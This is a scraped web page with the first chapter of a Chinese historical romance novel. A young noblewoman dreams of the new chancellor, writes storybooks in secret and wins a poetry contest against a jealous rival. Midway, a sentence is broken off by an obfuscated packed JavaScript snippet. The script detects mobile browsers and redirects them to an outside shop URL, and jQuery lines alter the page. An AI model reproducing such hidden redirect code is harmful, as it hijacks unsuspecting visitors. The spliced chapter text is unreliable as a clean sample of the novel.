默认冷灰
24号文字
方正启体

1. 01

作者:等闲春本书字数:K更新时间:
    春雨绵绵,润湿枝头新绿,乘夜风滑入梦里,潮湿一片。


    男子衣门大敞,掩在似有若无的飘渺纱雾之中,步履缓缓,愈发靠近。


    霎时纱雾尽褪,露出一张俊美无双的脸。


    墨发耷拉在宽肩,凌厉的眉峰皱起,上扬的眼尾染上几分情/欲。


    往下,靛蓝色长袍依然散开,松垮挂在臂弯,露出精/壮的肌肉。


    再往下…


    晏知娴被男子扯了一把,一个踉跄,跌在眼前人怀中,肌肤相贴,这才察觉自己也不过身着中衣。


    她抬头,几乎与他双唇相贴。


    细细一看,赫然发现他竟是白日初见的温丞相。


    温席玉一言不发,只将她腰身箍紧,俯身似要碰上她死死咬住的唇/瓣。


    晏知娴伸手推开他,扑了个空。


    睁眼是闺房床榻海棠色的帐顶,趁着半亮的晨色,依稀还能瞧见帐角挂的平安符随她突如其来的动作晃动。


    脸在发烫,浑身如同过了火坑般燥热。


    荒谬,她怎会梦到这种场景,难不成是因白日里与那面如冠玉的温席玉有一面之缘?


    晏知娴回姑苏外祖母家一年,再回京时正撞上新丞相走马上任。


    温席玉骑着高头大马,面色沉静,眼风不经意扫过,两道目光交汇一瞬,又分开。


    晏知娴素来喜爱生得俊美的郎君,在她心底,隔壁陆家世子当排第一,而如今遇温席玉,陆世子得让让位置。


    天色还早,晏知娴坐在床榻上,捂着发烫的脸颊,全然没了睡意。


    她索性披上外衣,起身点灯,从矮柜底下抽出纸笔。


    欲写上一册新故事。


    婢女寻芳见灯,小声敲门:“娘子醒了?可要奴婢服侍?”


    “不用,今日醒得早些,我看会书。”


    她虽这般答,却不曾抽出一本书,而是在干净的纸张上一笔一画,为京城的话本添内容。


    这本便以温丞相这般人物为主,写个清冷相爷娶贵女的故事,正合那些贵女口味。


    天光大亮,鸟鸣声渐渐,清晨还有几分静谧。


    不知觉几页纸密密麻麻布满文字。


    敲门声起,寻芳在屋外轻唤:“娘子可要洗漱?”


    “一刻钟后再进来。”


    晏知娴闻声,手一顿,毛笔在纸面划出一条短痕。


    轻手轻脚将手稿叠好,收进盒子里,放在不显眼的底层。


    “进来吧。”


    晏知娴梳洗一番,用过早膳,起身便要出门。


    今儿是三月初三,海棠诗会往年戒在此日举办,去年因身处姑苏错过,今年海棠诗会那边无论如何都要将她请去。


    海棠诗会本是当年京中贵女喝茶听曲儿组的诗会,后因频频有金句扬名,成了京中贵女证道的地方。


    今天同往年一般,亦是长公主为主,特请了靖王妃与秦国公夫人,陪着一群世家娘子喝茶听曲儿,赏春斗诗。


    晏知娴作为往年魁首,理当出席。


    她一袭桃红柳绿般长裙外衣,几支素簪点缀,临出门时还被寻芳折了支新鲜的海棠插/入发间。


    浓郁的春日被她穿着在身,仿佛阳光与生机扑面而来。


    “晏娘子来了。”


    马车停在海棠楼前,不知是谁认出晏家马车,高声唤了句。


    霎时好些目光纷纷投向晏知娴。


    她神态自若,信步入海棠楼。


    海棠楼是京城第一大茶楼,大堂供往来茶客小憩,二三楼则设雅间,附庸儒雅的王孙贵族时常小聚。


    海棠诗会因在海棠楼举办而得此名。


    同往常一样,海棠诗会占用一楼大堂,排列了好些桌椅,按世家依次排开。


    往年海棠诗会也有许多看客,今年却尤其多。


    是因去年晏知娴不在京中时,诗会上又出了一位才女,乃边塞归来的安平侯之女孙宜然。


    今日往年魁首晏知娴回归,对上新晋黑马孙宜然,许多人都欲看上一出好戏。


    晏知娴一踏入海棠楼,原本热闹的大堂安静片刻,又响起一阵窃窃私语。


    “晏娘子,可把你盼来了。”


    沈文清一双潋滟杏眼,橘色的衣裙夹杂在一众清淡之间尤为耀眼。


    沈文清正是给晏知娴下帖子的沈尚书之女。


    晏知娴握住她的手,面上笑得和气:“沈娘子,许久未见。”


    沈文清淡笑,将晏知娴手牵着,一一见过入席的贵女。


    大多都认得,唯有至一水蓝色衣裙娘子前,沈文清堪堪止住了步子。


    “晏娘子,这位是安平侯嫡女孙娘子。”


    去年魁首?


    晏知娴抬眼望去,那小娘子不似从边塞归来的,皮肤白皙光滑,手中捏着一方帕子,没有情绪时分外沉静。


    瞧见她来了,那孙娘子怔愣一瞬,缓缓俯身拜礼,有几分扭捏。


    “晏……晏娘子。”


    晏知娴向来大方得体,她眼光扫过孙宜然,向人盈盈一拜:“孙娘子有礼。”


    孙宜然眼神怯懦,捏紧了帕子,挤出一个笑来。


    “孙娘子,”晏知娴恐她紧张,开口缓和气氛,“听闻你去年夺得魁首,实在厉害。”


    她话说得温和,一字一句落在孙宜然耳中,却听出了几分别样的味道。


    孙宜然脸色难堪几分,低眉不显露,只轻轻应声:“晏娘子谬赞,今年魁首自当还是您。”


    她语气糯糯,伏小作低的模样惹晏知娴眉心一蹙,继而又快速舒展开,莞尔:


    “孙娘子才貌过人。”


    一句不经心的夸赞结束二人干巴巴的对话,她又跟着沈文清回到下首靠近主位的桌案。


    方一落座,便有随从高声唤:“长公主到、靖王妃到、秦国公夫人到!”


    那声透出几分激昂,随着三位人物落座,一场酣畅淋漓的斗诗拉开帷幕。


    海棠诗会斗诗没有太过于花里胡哨,向来先考验阅读量,再比拼文笔。


    飞花令一句接着一句,贵女们起先兴致勃勃,不过一会儿,只余晏知娴与孙宜然还站着。


    “春江不载离人语,只载青山过石桥。”


    晏知娴话音落下,身侧孙宜然身型明显一滞,半晌只闻:“我实在没句子了。”


    她抿了抿唇,缓身落座。


    “好,”长公主慈眉善目,眼风扫过下首一群小辈,落在晏知娴淡笑的脸上,“此局魁首晏娘子,孙娘子次之,沈娘子行三。”


    “晏娘子果真名不虚传。”


    “晏娘子必然是魁首,往年便如此,去年若非不在京城,哪儿能让孙娘子夺去。”


    看客显然只知道看热闹不嫌事大,又有几位夫人坐镇,也不担心太过得罪了贵女,嘴没个遮拦。


    晏知娴依旧行礼再落座,这般结果在她意料之中。


    无人瞧见孙宜然将裙袖攥紧,留下褶皱。


    “早春将至,碧波粼粼,今年诗会出题为‘水影摇’,静候各位娘子佳作。”


    大长公主将拟好的题目令身侧女官书写,又遣人一一传递,直至参会者一一看过。


    一只线香燃起,方才还在讨论的贵女们纷纷噤声,提笔难动。


    往年题目都是静物,花鸟鱼月、草兽虫水,今年却题了一个静中带动的,准时令人有几分无从下手。


    晏知娴观望题目,执笔沉思,直至半柱香过,才堪堪落笔。


    “一炷香已过,各位娘子停笔。”


    女官高声宣告,便有婢女下场将那些染了墨的纸一一收起。


    原本静谧的四周再次响起交谈声。


    “哎,早知平日便听夫子的话了,这三题看似简单,若要写得太深奥,恐怕不太行。”


    “忧心有什么用,魁首必定是晏娘子的。”


    几位自知文采不足的娘子交头接耳,也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245207|197868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在乎此次诗会名次。


    唯有孙宜然看似正襟危坐,眼却不离上首分毫。


    手中攥着一方帕子,面上维持体面的笑。


    三位评师互相传看,心中已有决断,又将纸分别展出给观客一览。


    “这首《春水吟》实在是妙。”


    “一棹烟波皱,云霞共影摇。


    风起青萍末,香浮红板桥。


    鱼吞碧落痕,人立小阑腰。


    莫问春深浅,垂杨绿满条。”


    “好诗好诗,将春日美景尽数呈现,动静结合,实在是妙啊。”


    孙宜然听罢,紧攥的手同她眉头一齐舒展开来,面上笑意更真切些。


    她再次偷觑一眼丝毫不为所动的晏知娴,后者仍淡然端坐,好似与她无关。


    “这……这是哪位娘子所作,简直神了。”


    忽地有人惊呼,将四周目光吸引来,连几位娘子也好奇。


    孙宜然深觉不妙,下意识看了眼晏知娴,她正端茶小酌,面上挂着恰到好处的了然。


    她的心又提了起来,一阵失意的挫败感蔓延全身。


    “什么绝世神句,那位郎君可别卖关子了。”


    有人迫不及待,赶忙催促。


    那举着一张手稿的郎君不紧不慢,朗声读:


    “《沧溟行》


    万里沧溟一鉴开,鸿濛剑气共徘徊。


    星垂鳌背乾坤动,日淬鲸波晓夜来。


    浪卷三千皆玉碎,云翻十二尽鸿哀。


    何当掣断珊瑚树,直取瀛洲白玉台。”


    他话音方落,海棠楼霎时鸦雀无声,而后不知谁高呼一声“好”,众人这才纷纷夸赞起来。


    “水影化作天地间的光色交响,不错。”大长公主率先眯起眼,挂着浓浓的笑意。


    “那句‘瀛洲白玉台’说的可不就是当年官家清叛贼时大获全胜的那一仗?”


    “是啊,若非瀛洲那仗,也不会有如今这般平稳安宁的生活。”


    有亲历过那场战争的忽而感慨,连连夸诗写得妙。


    “这字迹我认得,”靖王妃抬眸,目光直指晏知娴,“晏娘子能有此番玲珑心思,实在难得。”


    靖王妃平日里瞧不上小家碧玉的闺阁女子,没曾想最该深居简出的女子竟有这样宏大的心境。


    晏知娴不紧不慢,起身行礼:“王妃谬赞,承蒙王妃厚爱,臣女愧不敢当。”


    这是承认了此诗出自她手。


    毫无悬念,开篇便如此惊艳,后两首必然也不差。


    今年的魁首仍是晏知娴,次位乃安平侯府的孙宜然。


    大长公主嘱咐女官晚些时候将礼品送去,领着二位夫人离开海棠楼。


    她们若一直呆在此处,倒惹得小娘子们不自在。


    主位上的人都走了,那些善于阿谀奉承的观客可还在。


    孙宜然咬了咬唇,脸色有几分难看。


    偏被沈文清瞧见,还凑近问:“孙娘子可是身子不爽利?”


    孙宜然扯出一个难看的笑,涩然开口:“恐是月事将至,有些难受。”


    “那孙娘子早些回府休息才是,还未恭喜孙娘子,也是极有名的才女呢。”


    第二名有何用,孙宜然瞧着被众人围在中间的晏知娴,有些忮忌。


    没人在乎第二名,反而是魁首才众星捧月。


    她抬步路过晏知娴,鬼使神差对她开口:“恭喜晏娘子。”


    晏知娴本就有几分应付不来,忽闻一声清丽的贺喜,抬眼是俏丽的小娘子捏着帕子立在人群后边。


    “也恭喜孙娘子。”她顺着恭喜回去。


    瞧,魁首也并未将她放在眼里。


    孙宜然更加颓然,加快步子欲离开这个令人羞恼的地方。


    眼瞧海棠楼宾客将散,忽而上方传来一句冷言冷语,声音不轻不重,却恰好落在每个人耳里。


    “京城贵女,端着架子,好生无趣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)